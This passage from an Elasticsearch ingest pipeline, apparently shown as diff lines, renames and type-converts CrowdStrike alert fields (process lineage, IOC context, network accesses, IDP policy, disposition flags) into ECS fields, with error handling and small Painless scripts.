{{{_ingest.on_failure_message}}}' - - rename: - field: json.grandparent_details.user_graph_id - tag: rename_grandparent_details_user_graph_id - target_field: crowdstrike.alert.grandparent_details.user_graph_id - ignore_missing: true - - append: - field: related.user - tag: append_user_graph_id_into_related_user - value: '{{{crowdstrike.alert.grandparent_details.user_graph_id}}}' - allow_duplicates: false - if: ctx.crowdstrike?.alert?.grandparent_details?.user_graph_id != null - - rename: - field: json.grandparent_details.user_id - tag: rename_grandparent_details_user_id - target_field: crowdstrike.alert.grandparent_details.user_id - ignore_missing: true - - append: - field: related.user - tag: append_grandparent_details_user_id_into_related_user - value: '{{{crowdstrike.alert.grandparent_details.user_id}}}' - allow_duplicates: false - if: ctx.crowdstrike?.alert?.grandparent_details?.user_id != null - - rename: - field: json.grandparent_details.user_name - tag: rename_grandparent_details_user_name - target_field: crowdstrike.alert.grandparent_details.user_name - ignore_missing: true - - append: - field: related.user - tag: append_grandparent_details_user_name_into_related_user - value: '{{{crowdstrike.alert.grandparent_details.user_name}}}' - allow_duplicates: false - if: ctx.crowdstrike?.alert?.grandparent_details?.user_name != null - - convert: - field: json.has_script_or_module_ioc - tag: convert_has_script_or_module_ioc_to_boolean - target_field: crowdstrike.alert.has_script_or_module_ioc - type: boolean - if: ctx.json?.has_script_or_module_ioc != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - rename: - field: json.host_name - tag: rename_host_name - target_field: crowdstrike.alert.host_name - ignore_missing: true - - set: - field: host.name - tag: set_host_name_from_alert_host_name - copy_from: crowdstrike.alert.host_name - ignore_empty_value: true - - append: - field: related.hosts - value: '{{{host.name}}}' - allow_duplicates: false - if: ctx.host?.name != null - - rename: - field: json.host_type - tag: rename_host_type - target_field: crowdstrike.alert.host_type - ignore_missing: true - - set: - field: host.type - tag: set_host_type_from_alert_host_type - copy_from: crowdstrike.alert.host_type - ignore_empty_value: true - - script: - tag: reconstruct_has_script_or_module_ioc_from_ioc_context - lang: painless - if: ctx.crowdstrike?.alert?.has_script_or_module_ioc == null && ctx.json?.ioc_context instanceof List - source: | - if (ctx.crowdstrike == null) { - ctx.crowdstrike = [:]; - } - if (ctx.crowdstrike.alert == null) { - ctx.crowdstrike.alert = [:]; - } - for (def c: ctx.json.ioc_context) { - if (c.type == 'module' || c.type == 'script') { - ctx.crowdstrike.alert.has_script_or_module_ioc = true; - return; - } - } - ctx.crowdstrike.alert.has_script_or_module_ioc = false; - - rename: - field: json.id - tag: rename_id - target_field: crowdstrike.alert.id - ignore_missing: true - - set: - field: event.id - tag: set_event_id_from_alert_id - copy_from: crowdstrike.alert.id - ignore_empty_value: true - - convert: - field: json.idp_policy_enforced_externally - tag: convert_idp_policy_enforced_externally_to_long - target_field: crowdstrike.alert.idp_policy.enforced_externally - type: long - if: ctx.json?.idp_policy_enforced_externally != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - field: json.idp_policy_mfa_factor_type - tag: convert_idp_policy_mfa_factor_type_to_long - target_field: crowdstrike.alert.idp_policy.mfa_factor_type - type: long - if: ctx.json?.idp_policy_mfa_factor_type != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - field: json.idp_policy_mfa_provider - tag: convert_idp_policy_mfa_provider_to_long - target_field: crowdstrike.alert.idp_policy.mfa_provider - type: long - if: ctx.json?.idp_policy_mfa_provider != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - field: json.idp_policy_rule_action - tag: convert_idp_policy_rule_action_to_long - target_field: crowdstrike.alert.idp_policy.rule_action - type: long - if: ctx.json?.idp_policy_rule_action != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - field: json.idp_policy_rule_trigger - tag: convert_idp_policy_rule_trigger_to_long - target_field: crowdstrike.alert.idp_policy.rule_trigger - type: long - if: ctx.json?.idp_policy_rule_trigger != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - rename: - field: json.idp_policy_rule_id - tag: rename_idp_policy_rule_id - target_field: crowdstrike.alert.idp_policy.rule_id - ignore_missing: true - - set: - field: rule.id - tag: set_rule_id_from_alert_idp_policy_rule_id - copy_from: crowdstrike.alert.idp_policy.rule_id - ignore_empty_value: true - - rename: - field: json.idp_policy_rule_name - tag: rename_idp_policy_rule_name - target_field: crowdstrike.alert.idp_policy.rule_name - ignore_missing: true - - set: - field: rule.name - tag: set_rule_name_from_alert_idp_policy_rule_name - copy_from: crowdstrike.alert.idp_policy.rule_name - ignore_empty_value: true - - rename: - field: json.image_file_name - tag: rename_image_file_name - target_field: crowdstrike.alert.image_file_name - ignore_missing: true - - set: - field: file.path - tag: set_file_path_from_alert_image_file_name - copy_from: crowdstrike.alert.image_file_name - ignore_empty_value: true - - date: - field: json.incident.created - tag: date_incident_created - target_field: crowdstrike.alert.incident.created - formats: - - yyyy-MM-dd'T'HH:mm:ss'Z' - if: ctx.json?.incident?.created != null && ctx.json.incident.created != '' - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - date: - field: json.incident.end - tag: date_incident_end - target_field: crowdstrike.alert.incident.end - formats: - - yyyy-MM-dd'T'HH:mm:ss'Z' - if: ctx.json?.incident?.end != null && ctx.json.incident.end != '' - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - rename: - field: json.incident.id - tag: rename_incident_id - target_field: crowdstrike.alert.incident.id - ignore_missing: true - - convert: - field: json.incident.score - tag: convert_incident_score_to_double - target_field: crowdstrike.alert.incident.score - type: double - if: ctx.json?.incident?.score != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - date: - field: json.incident.start - tag: date_incident_start - target_field: crowdstrike.alert.incident.start - formats: - - yyyy-MM-dd'T'HH:mm:ss'Z' - if: ctx.json?.incident?.start != null && ctx.json.incident.start != '' - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - - rename: - field: json.indicator_id - tag: rename_indicator_id - target_field: crowdstrike.alert.indicator_id - ignore_missing: true - - rename: - field: json.ioc_context - tag: rename_ioc_context - target_field: crowdstrike.alert.ioc_context - ignore_missing: true - - foreach: - field: crowdstrike.alert.ioc_context - if: ctx.crowdstrike?.alert?.ioc_context instanceof List - ignore_failure: true - processor: - append: - field: related.hash - tag: append_ioc_context_md5_to_related_hash - value: '{{{_ingest._value.md5}}}' - allow_duplicates: false - - foreach: - field: crowdstrike.alert.ioc_context - if: ctx.crowdstrike?.alert?.ioc_context instanceof List - ignore_failure: true - processor: - append: - field: related.hash - tag: append_ioc_context_sha256_to_related_hash - value: '{{{_ingest._value.sha256}}}' - allow_duplicates: false - - rename: - field: json.ioc_description - tag: rename_ioc_description - target_field: crowdstrike.alert.ioc_description - ignore_missing: true - - rename: - field: json.ioc_source - tag: rename_ioc_source - target_field: crowdstrike.alert.ioc_source - ignore_missing: true - - rename: - field: json.ioc_type - tag: rename_ioc_type - target_field: crowdstrike.alert.ioc_type - ignore_missing: true - - rename: - field: json.ioc_value - tag: rename_ioc_value - target_field: crowdstrike.alert.ioc_value - ignore_missing: true - - rename: - field: json.ioc_values - tag: rename_ioc_values - target_field: crowdstrike.alert.ioc_values - ignore_missing: true - - append: - field: crowdstrike.alert.ioc_values - tag: append_ioc_value_to_ioc_values - value: '{{{crowdstrike.alert.ioc_value}}}' - if: ctx.crowdstrike?.alert?.ioc_value != null - allow_duplicates: false - - foreach: - tag: reconstruct_ioc_values_from_ioc_context - field: crowdstrike.alert.ioc_context - if: ctx.crowdstrike?.alert?.ioc_context instanceof List - ignore_failure: true - processor: - append: - field: crowdstrike.alert.ioc_values - tag: append_ioc_context_ioc_value_to_ioc_values - value: '{{{_ingest._value.ioc_value}}}' - allow_duplicates: false - - convert: - field: json.is_synthetic_quarantine_disposition - tag: convert_is_synthetic_quarantine_disposition_to_boolean - target_field: crowdstrike.alert.is_synthetic_quarantine_disposition - type: boolean - if: ctx.json?.is_synthetic_quarantine_disposition != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - script: - tag: reconstruct_is_synthetic_quarantine_disposition_from_pattern_disposition_details - lang: painless - if: ctx.crowdstrike?.alert?.is_synthetic_quarantine_disposition == null && ctx.json?.pattern_disposition_details instanceof Map - source: | - if (ctx.crowdstrike == null) { - ctx.crowdstrike = [:]; - } - if (ctx.crowdstrike.alert == null) { - ctx.crowdstrike.alert = [:]; - } - for (def d: ctx.json.pattern_disposition_details.entrySet()) { - if (d.getKey() == 'quarantine_file') { - ctx.crowdstrike.alert.is_synthetic_quarantine_disposition = d.getValue(); - return; - } - } - ctx.crowdstrike.alert.is_synthetic_quarantine_disposition = false; - - convert: - field: json.ldap_search_query_attack - tag: convert_ldap_search_query_attack_to_long - target_field: crowdstrike.alert.ldap_search_query_attack - type: long - if: ctx.json?.ldap_search_query_attack != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - rename: - field: json.local_prevalence - tag: rename_local_prevalence - target_field: crowdstrike.alert.local_prevalence - ignore_missing: true - - rename: - field: json.local_process_id - tag: rename_local_process_id - target_field: crowdstrike.alert.local_process_id - ignore_missing: true - - rename: - field: json.location_country_code - tag: rename_location_country_code - target_field: crowdstrike.alert.location_country_code - ignore_missing: true - - set: - field: observer.geo.country_iso_code - tag: set_observer_geo_country_iso_code_from_alert_location_country_code - copy_from: crowdstrike.alert.location_country_code - ignore_empty_value: true - - convert: - field: json.location_latitude_as_int - tag: convert_location_latitude_as_int_to_long - target_field: crowdstrike.alert.location_latitude_as_int - type: long - if: ctx.json?.location_latitude_as_int != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - field: json.location_longitude_as_int - tag: convert_location_longitude_as_int_to_long - target_field: crowdstrike.alert.location_longitude_as_int - type: long - if: ctx.json?.location_longitude_as_int != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - script: - description: combine latitude and longitude. - tag: script_to_combine_latitude_and_longitude - lang: painless - if: ctx.crowdstrike?.alert?.location_latitude_as_int != null && ctx.crowdstrike?.alert?.location_longitude_as_int != null - source: |- - def location = new HashMap(); - location.put('lat', ctx.crowdstrike.alert.location_latitude_as_int); - location.put('lon', ctx.crowdstrike.alert.location_longitude_as_int); - if(ctx.observer == null) { - ctx.put('observer', new HashMap()); - } - if(ctx.observer.geo == null){ - ctx.observer.put('geo', new HashMap()); - } - ctx.observer.geo.location = location; - - rename: - field: json.logon_domain - tag: rename_logon_domain - target_field: crowdstrike.alert.logon_domain - ignore_missing: true - - rename: - field: json.md5 - tag: rename_md5 - target_field: crowdstrike.alert.md5 - ignore_missing: true - - set: - field: process.hash.md5 - tag: set_process_hash_md5 - copy_from: crowdstrike.alert.md5 - ignore_empty_value: true - - append: - field: related.hash - value: '{{{crowdstrike.alert.md5}}}' - allow_duplicates: false - if: ctx.crowdstrike?.alert?.md5 != null - - rename: - field: json.model_anomaly_indicators - tag: rename_model_anomaly_indicators - target_field: crowdstrike.alert.model_anomaly_indicators - ignore_missing: true - - rename: - field: json.name - tag: rename_name - target_field: crowdstrike.alert.name - ignore_missing: true - - foreach: - field: json.network_accesses - if: ctx.json?.network_accesses instanceof List - processor: - date: - field: _ingest._value.access_timestamp - tag: date_network_accesses_access_timestamp - target_field: _ingest._value.access_timestamp - formats: - - UNIX - - UNIX_MS - on_failure: - - remove: - field: _ingest._value.access_timestamp - ignore_missing: true - - foreach: - field: json.network_accesses - if: ctx.json?.network_accesses instanceof List - processor: - convert: - field: _ingest._value.access_type - tag: convert_network_accesses_access_type_to_long - type: long - ignore_missing: true - on_failure: - - remove: - field: _ingest._value.access_type - ignore_missing: true - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - foreach: - field: json.network_accesses - if: ctx.json?.network_accesses instanceof List - processor: - convert: - field: _ingest._value.isIPV6 - tag: convert_network_accesses_isIPV6_to_boolean - type: boolean - ignore_missing: true - on_failure: - - remove: - field: _ingest._value.isIPV6 - ignore_missing: true - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - foreach: - field: json.network_accesses - if: ctx.json?.network_accesses instanceof List - processor: - convert: - field: _ingest._value.local_address - tag: convert_network_accesses_local_address_to_ip - type: ip - ignore_missing: true - on_failure: - - remove: - field: _ingest._value.local_address - ignore_missing: true - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - foreach: - field: json.network_accesses - if: ctx.json?.network_accesses instanceof List - processor: - append: - field: related.ip - tag: append_network_accesses_local_address_into_related_ip - value: '{{{_ingest._value.local_address}}}' - allow_duplicates: false - - foreach: - field: json.network_accesses - if: ctx.json?.network_accesses instanceof List - processor: - convert: - field: _ingest._value.local_port - tag: convert_network_accesses_local_port_to_long - type: long - ignore_missing: true - on_failure: - - remove: - field: _ingest._value.local_port - ignore_missing: true - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - foreach: - field: json.network_accesses - if: ctx.json?.network_accesses instanceof List - processor: - convert: - field: _ingest._value.remote_address - tag: convert_network_accesses_remote_address_to_ip - type: ip - ignore_missing: true - on_failure: - - remove: - field: _ingest._value.remote_address - ignore_missing: true - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - foreach: - field: json.network_accesses - if: ctx.json?.network_accesses instanceof List - processor: - append: - field: related.ip - tag: append_network_accesses_remote_address_into_related_ip - value: '{{{_ingest._value.remote_address}}}' - allow_duplicates: false - - foreach: - field: json.network_accesses - if: ctx.json?.network_accesses instanceof List - processor: - convert: - field: _ingest._value.remote_port - tag: convert_network_accesses_remote_port_to_long - type: long - ignore_missing: true - on_failure: - - remove: - field: _ingest._value.remote_port - ignore_missing: true - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - rename: - field: json.network_accesses - tag: rename_network_accesses - target_field: crowdstrike.alert.network_accesses - ignore_missing: true - - rename: - field: json.objective - tag: rename_objective - target_field: crowdstrike.alert.objective - ignore_missing: true - - rename: - field: json.operating_system - tag: rename_operating_system - target_field: crowdstrike.alert.operating_system - ignore_missing: true - - set: - field: host.os.name - tag: set_host_os_name_from_alert_operating_system - copy_from: crowdstrike.alert.operating_system - ignore_empty_value: true - - script: - description: Dynamically set host.os.type values. - tag: script_map_host_os_type - lang: painless - params: - os_type: - - linux - - macos - - unix - - windows - - ios - - android - source: | - if (ctx.crowdstrike?.alert?.device?.platform_name != null) { - String platform_name = ctx.crowdstrike.alert.device.platform_name.toLowerCase(); - for (String os: params.os_type) { - if (platform_name.contains(os)) { - ctx.host.os.put('type', os); - return; - } - } - } else if (ctx.crowdstrike?.alert?.operating_system != null) { - String operating_system = ctx.crowdstrike.alert.operating_system.toLowerCase(); - for (String os: params.os_type) { - if (operating_system.contains(os)) { - ctx.host.os.put('type', os); - return; - } - } - } - - rename: - field: json.os_name - tag: rename_os_name - target_field: crowdstrike.alert.os_name - ignore_missing: true - - set: - field: host.os.family - tag: set_host_os_family_from_alert_os_name - copy_from: crowdstrike.alert.os_name - ignore_empty_value: true - - rename: - field: json.parent_details.cmdline - tag: rename_parent_details_cmdline - target_field: crowdstrike.alert.parent_details.cmdline - ignore_missing: true - - set: - field: process.parent.command_line - tag: set_process_parent_command_line_from_alert_parent_details_cmdline - copy_from: crowdstrike.alert.parent_details.cmdline - ignore_empty_value: true - - rename: - field: json.parent_details.filename - tag: rename_parent_details_filename - target_field: crowdstrike.alert.parent_details.filename - ignore_missing: true - - set: - field: process.parent.name - tag: set_process_parent_name - copy_from: crowdstrike.alert.parent_details.filename - ignore_empty_value: true - - rename: - field: json.parent_details.filepath - tag: rename_parent_details_filepath - target_field: crowdstrike.alert.parent_details.filepath - ignore_missing: true - - set: - field: process.parent.executable - tag: set_process_parent_executable - copy_from: crowdstrike.alert.parent_details.filepath - ignore_empty_value: true - - rename: - field: json.parent_details.local_process_id - tag: rename_parent_details_local_process_id - target_field: crowdstrike.alert.parent_details.local_process_id - ignore_missing: true - - rename: - field: json.parent_details.md5 - tag: rename_parent_details_md5 - target_field: crowdstrike.alert.parent_details.md5 - ignore_missing: true - - append: - field: related.hash - value: '{{{crowdstrike.alert.parent_details.md5}}}' - allow_duplicates: false - if: ctx.crowdstrike?.alert?.parent_details?.md5 != null - - set: - field: process.parent.hash.md5 - tag: set_process_parent_hash_md5_from_alert_parent_details_md5 - copy_from: crowdstrike.alert.parent_details.md5 - ignore_empty_value: true - - rename: - field: json.parent_details.process_graph_id - tag: rename_parent_details_process_graph_id - target_field: crowdstrike.alert.parent_details.process_graph_id - ignore_missing: true - - rename: - field: json.parent_details.process_id - tag: rename_parent_details_process_id - target_field: crowdstrike.alert.parent_details.process_id - ignore_missing: true - - rename: - field: json.parent_details.sha256 - tag: rename_parent_details_sha256 - target_field: crowdstrike.alert.parent_details.sha256 - ignore_missing: true - - set: - field: process.parent.hash.sha256 - tag: set_process_parent_hash_sha256_from_alert_parent_details_sha256 - copy_from: crowdstrike.alert.parent_details.sha256 - ignore_empty_value: true - - append: - field: related.hash - value: '{{{crowdstrike.alert.parent_details.sha256}}}' - allow_duplicates: false - if: ctx.crowdstrike?.alert?.parent_details?.sha256 != null - - date: - field: json.parent_details.timestamp - tag: date_parent_details_timestamp - target_field: crowdstrike.alert.parent_details.timestamp - formats: - - ISO8601 - if: ctx.json?.parent_details?.timestamp != null && ctx.json.parent_details.timestamp != '' - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - rename: - field: json.parent_details.user_graph_id - tag: rename_parent_details_user_graph_id - target_field: crowdstrike.alert.parent_details.user_graph_id - ignore_missing: true - - append: - field: related.user - tag: append_parent_details_user_graph_id_into_related_user - value: '{{{crowdstrike.alert.parent_details.user_graph_id}}}' - allow_duplicates: false - if: ctx.crowdstrike?.alert?.parent_details?.user_graph_id != null - - rename: - field: json.parent_details.user_id - tag: rename_parent_details_user_id - target_field: crowdstrike.alert.parent_details.user_id - ignore_missing: true - - set: - field: process.user.id - tag: set_process_user_id_from_alert_parent_details_user_id - copy_from: crowdstrike.alert.parent_details.user_id - ignore_empty_value: true - - rename: - field: json.parent_details.user_name - tag: rename_parent_details_user_name - target_field: crowdstrike.alert.parent_details.user_name - ignore_missing: true - - set: - field: process.user.name - tag: set_process_user_name_from_alert_parent_details_user_name - copy_from: crowdstrike.alert.parent_details.user_name - ignore_empty_value: true - - append: - field: related.user - tag: append_parent_details_user_id_into_related_user - value: '{{{crowdstrike.alert.parent_details.user_id}}}' - allow_duplicates: false - if: ctx.crowdstrike?.alert?.parent_details?.user_id != null - - append: - field: related.user - tag: append_parent_details_user_name_into_related_user - value: '{{{crowdstrike.alert.parent_details.user_name}}}' - allow_duplicates: false - if: ctx.crowdstrike?.alert?.parent_details?.user_name != null - - rename: - field: json.parent_process_id - tag: rename_parent_process_id - target_field: crowdstrike.alert.parent_process_id - ignore_missing: true - - set: - field: process.parent.entity_id - tag: set_process_parent_entity_id - copy_from: crowdstrike.alert.parent_process_id - ignore_empty_value: true - - convert: - field: crowdstrike.alert.parent_process_id - tag: convert_alert_parent_process_id - target_field: process.parent.pid - type: long - if: ctx.crowdstrike?.alert?.parent_process_id != '' - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - field: json.pattern_disposition - tag: convert_pattern_disposition_to_long - target_field: crowdstrike.alert.pattern_disposition - type: long - if: ctx.json?.pattern_disposition != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - rename: - field: json.pattern_disposition_description - tag: rename_pattern_disposition_description - target_field: crowdstrike.alert.pattern_disposition_description - ignore_missing: true - - convert: - field: json.pattern_disposition_details.blocking_unsupported_or_disabled - tag: convert_pattern_disposition_details_blocking_unsupported_or_disabled_to_boolean - target_field: crowdstrike.alert.pattern_disposition_details.blocking_unsupported_or_disabled - type: boolean - if: ctx.json?.pattern_disposition_details?.blocking_unsupported_or_disabled != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - field: json.pattern_disposition_details.bootup_safeguard_enabled - tag: convert_pattern_disposition_details_bootup_safeguard_enabled_to_boolean - target_field: crowdstrike.alert.pattern_disposition_details.bootup_safeguard_enabled - type: boolean - if: ctx.json?.pattern_disposition_details?.bootup_safeguard_enabled != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - field: json.pattern_disposition_details.containment_file_system - tag: convert_pattern_disposition_details_containment_file_system_to_boolean - target_field: crowdstrike.alert.pattern_disposition_details.containment_file_system - type: boolean - if: ctx.json?.pattern_disposition_details?.containment_file_system != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - field: json.pattern_disposition_details.critical_process_disabled - tag: convert_pattern_disposition_details_critical_process_disabled_to_boolean - target_field: crowdstrike.alert.pattern_disposition_details.critical_process_disabled - type: boolean - if: ctx.json?.pattern_disposition_details?.critical_process_disabled != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - field: json.pattern_disposition_details.detect - tag: convert_pattern_disposition_details_detect_to_boolean - target_field: crowdstrike.alert.pattern_disposition_details.detect - type: boolean - if: ctx.json?.pattern_disposition_details?.detect != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - field: json.pattern_disposition_details.fs_operation_blocked - tag: convert_pattern_disposition_details_fs_operation_blocked_to_boolean - target_field: crowdstrike.alert.pattern_disposition_details.fs_operation_blocked - type: boolean - if: ctx.json?.pattern_disposition_details?.fs_operation_blocked != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - field: json.pattern_disposition_details.handle_operation_downgraded - tag: convert_pattern_disposition_details_handle_operation_downgraded_to_boolean - target_field: crowdstrike.alert.pattern_disposition_details.handle_operation_downgraded - type: boolean - if: ctx.json?.pattern_disposition_details?.handle_operation_downgraded != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - field: json.pattern_disposition_details.inddet_mask - tag: convert_pattern_disposition_details_inddet_mask_to_boolean - target_field: crowdstrike.alert.pattern_disposition_details.inddet_mask - type: boolean - if: ctx.json?.pattern_disposition_details?.inddet_mask != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - field: json.pattern_disposition_details.indicator - tag: convert_pattern_disposition_details_indicator_to_boolean - target_field: crowdstrike.alert.pattern_disposition_details.indicator - type: boolean - if: ctx.json?.pattern_disposition_details?.indicator != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - field: json.pattern_disposition_details.kill_action_failed - tag: convert_pattern_disposition_details_kill_action_failed_to_boolean - target_field: crowdstrike.alert.pattern_disposition_details.kill_action_failed - type: boolean - if: ctx.json?.pattern_disposition_details?.kill_action_failed != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - field: json.pattern_disposition_details.kill_parent - tag: convert_pattern_disposition_details_kill_parent_to_boolean - target_field: crowdstrike.alert.pattern_disposition_details.kill_parent - type: boolean - if: ctx.json?.pattern_disposition_details?.kill_parent != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - field: json.pattern_disposition_details.kill_process - tag: convert_pattern_disposition_details_kill_process_to_boolean - target_field: crowdstrike.alert.pattern_disposition_details.kill_process - type: boolean - if: ctx.json?.pattern_disposition_details?.kill_process != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - field: json.pattern_disposition_details.kill_subprocess - tag: convert_pattern_disposition_details_kill_subprocess_to_boolean - target_field: crowdstrike.alert.pattern_disposition_details.kill_subprocess - type: boolean - if: ctx.json?.pattern_disposition_details?.kill_subprocess != "" - ignore_missing: true - on_failure: - - append: - field: error.message - value: 